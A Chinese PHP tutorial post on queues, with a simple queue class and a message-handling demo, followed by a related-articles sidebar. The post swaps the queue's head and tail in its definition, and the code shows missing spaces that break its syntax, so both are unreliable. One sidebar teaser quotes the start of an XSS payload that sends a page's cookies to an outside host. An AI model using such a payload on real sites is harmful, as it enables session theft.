PHP数据结构(四) ——队列

PHP数据结构(四)——队列以及简单消息存取

(原创内容,转载请注明来源,谢谢)

队列也是一种特殊的线性表,和栈很相似,区别在于队列对于数据增加和删除的限制和栈不同,队列是FIFO(先进先出),允许插入的一头叫做队头,允许删除的一头叫做队尾。

下图为队列的基本数据模型。

存在特殊的队列——双端队列,两头都允许增加和删除。另外也有单边只允许插入或者单边只允许删除的特殊队列。

另外,存在一种队列称为循环队列,循环队列头尾相连,只要数据没有超过限制,可以不断的循环使用存储空间。

下图为循环队列的基本数据模型。

队列在程序中运用频发,特别是对于异步消息转发使用较多。即多个请求抵达时,需要逐一执行,即可采用队列方式进行处理。

下列程序简单实现消息保存与处理。

程序运行结果如下:

程序PHP源码如下:

<?php
class queue{
       private$head;
       private$tail;
       private$queuedata;
       private$size;
       //构造队列
       publicfunction __construct($size=10){
              $this->head= 0;
              $this->tail= 0;
              $this->queuedata= array();
              $this->size= $size;
       }
       //初始化队列
       publicfunction init($arr){
              if(count($arr)>$this->size){
                     echo'超出队列长度';
                     returnfalse;               
              }else{
                     foreach($arras $item){
                            $this->queuedata[$this->tail++]= $item;
                     }
                     returntrue;
              }
       }
       //重新分配空间
       publicfunction resize($size){
              if($size<count($this->queuedata)){
                     echo'长度不足';
                     returnfalse;
              }else{
                     $this->size= $size;
                     returntrue;
              }
       }
       //插入队列
       publicfunction push($data){
              if(is_array($data)){
                     $enough= $this->size-count($data)-count($this->queuedata);
                     if($enough<0){
                            echo'插入队列超长';
                            returnfalse;
                     }else{
                            foreach($dataas $item){
                                   $this->queuedata[$this->tail++]= $item;                                 
                            }
                            returntrue;
                     }
              }else{
                     $enough= $this->size-1-count($this->queuedata);
                     if($enough<0){
                            echo'插入队列超长';
                            returnfalse;
                     }else{
                            $this->queuedata[$this->tail++]= $data;
                            returntrue;
                     }                    
              }
       }
       //队列取出
       publicfunction pop(){
              if($this->head==$this->tail){
                     echo'队列为空';
                     returnfalse;
              }else{
                     $data= $this->queuedata[$this->head];
                     unset($this->queuedata[$this->head]);
                     $this->head++;
                     return$data;
              }
       } 
}
//实现消息队列
$myqueue = new queue(20);
//当前一个消息处理器,三个消息发送器
$myqueue->push(array('A m1', 'A m2', 'B m1', 'Cm1', 'C m2'));
$solve1 = $myqueue->pop();
echo '处理器1正在处理:'.$solve1.'<br />';
//此时添加一台处理器处理
$solve2 = $myqueue->pop();
echo '处理器2正在处理:'.$solve2.'<br />';
//处理器1处理完毕后再继续处理队列
$solve1 = $myqueue->pop();
echo '处理器1正在处理:'.$solve1.'<br />';

该方法只是简单实现消息存储与取出,完整版消息队列、MQ等将在后续文章中推出。

——written by linhxx 2017.06.16

相关阅读:

PHP数据结构(三)——运用栈实现括号匹配

PHP数据结构(二)——链式结构线性表

PHP数据结构(一)——顺序结构线性表

原文发布于微信公众号 - 决胜机器学习(phpthinker)

原文发表时间:2017-06-17

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏熊二哥

快速入门系列--WCF--02消息、会话与服务寄宿

经过WCF基础的ABC学习,已经可以构建简单的WCF的服务,使用不同的服务地址和绑定类型,根据业务提供所需的服务契约。但不禁想问,服务所使用的消息报文是什么样的...

1985
来自专栏FreeBuf

xss如何加载远程js的一些tips

在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+documen...

2309
来自专栏java一日一条

同步和异步的区别

答案一: 1.异步传输 通常,异步传输是以字符为传输单位,每个字符都要附加 1 位起始位和 1 位停止位,以标记一个字符的开始和结束,并以此实现数据传输同步...

562
来自专栏Golang语言社区

Goroutine(协程)为何能处理大并发?

简单来说:协程十分轻量,可以在一个进程中执行有数以十万计的协程,依旧保持高性能。 进程、线程、协程的关系和区别: 进程拥有自己独立的堆和栈,既不共享堆,亦不共享...

2915
来自专栏JAVA高级架构

一篇文章了解RPC框架原理

912
来自专栏Java进阶架构师

手把手带你实现JDK动态代理

业务接口Interface、业务实现类target、业务处理类Handler、JVM在内存中生成的动态代理类$Proxy0

701
来自专栏飞雪无情的博客

Go语言实战笔记(一)| Go包管理

这本是In Action系列的书籍,这个系列做研发的都知道,在研发届评价很多,很多新的技术、语言等都会有一本实战的书籍。既然是实战,那么这本书假设了他的读者有了...

953
来自专栏FreeBuf

别用Chrome浏览这篇文章,会崩溃!

早前就有8个字符让Skype崩溃的例子,今天我们提到的是16个字符让Chrome崩溃,你只需要点击这16个字符,甚至鼠标只是在这16个字节组成的链接周围移动都可...

1856
来自专栏xingoo, 一个梦想做发明家的程序员

图解NodeJS【基于事件、回调的单线程高性能服务器】原理

刚开始了解Node感觉很吊,各种说高性能,可是一直不理解为什么单线程会比多线程快?为什么异步IO比非阻塞IO快?因此,本篇在阅读相关书籍后,根据自己的理解,整...

1877
来自专栏喵了个咪的博客空间

phalcon-入门篇5(请求与返回)

#phalcon-入门篇5(请求与返回)# ? 本教程基于phalcon2.0.9版本 ##前言## 先在这里感谢各位phalcon技术爱好者,我们提供这样一个...

37113

扫码关注云+社区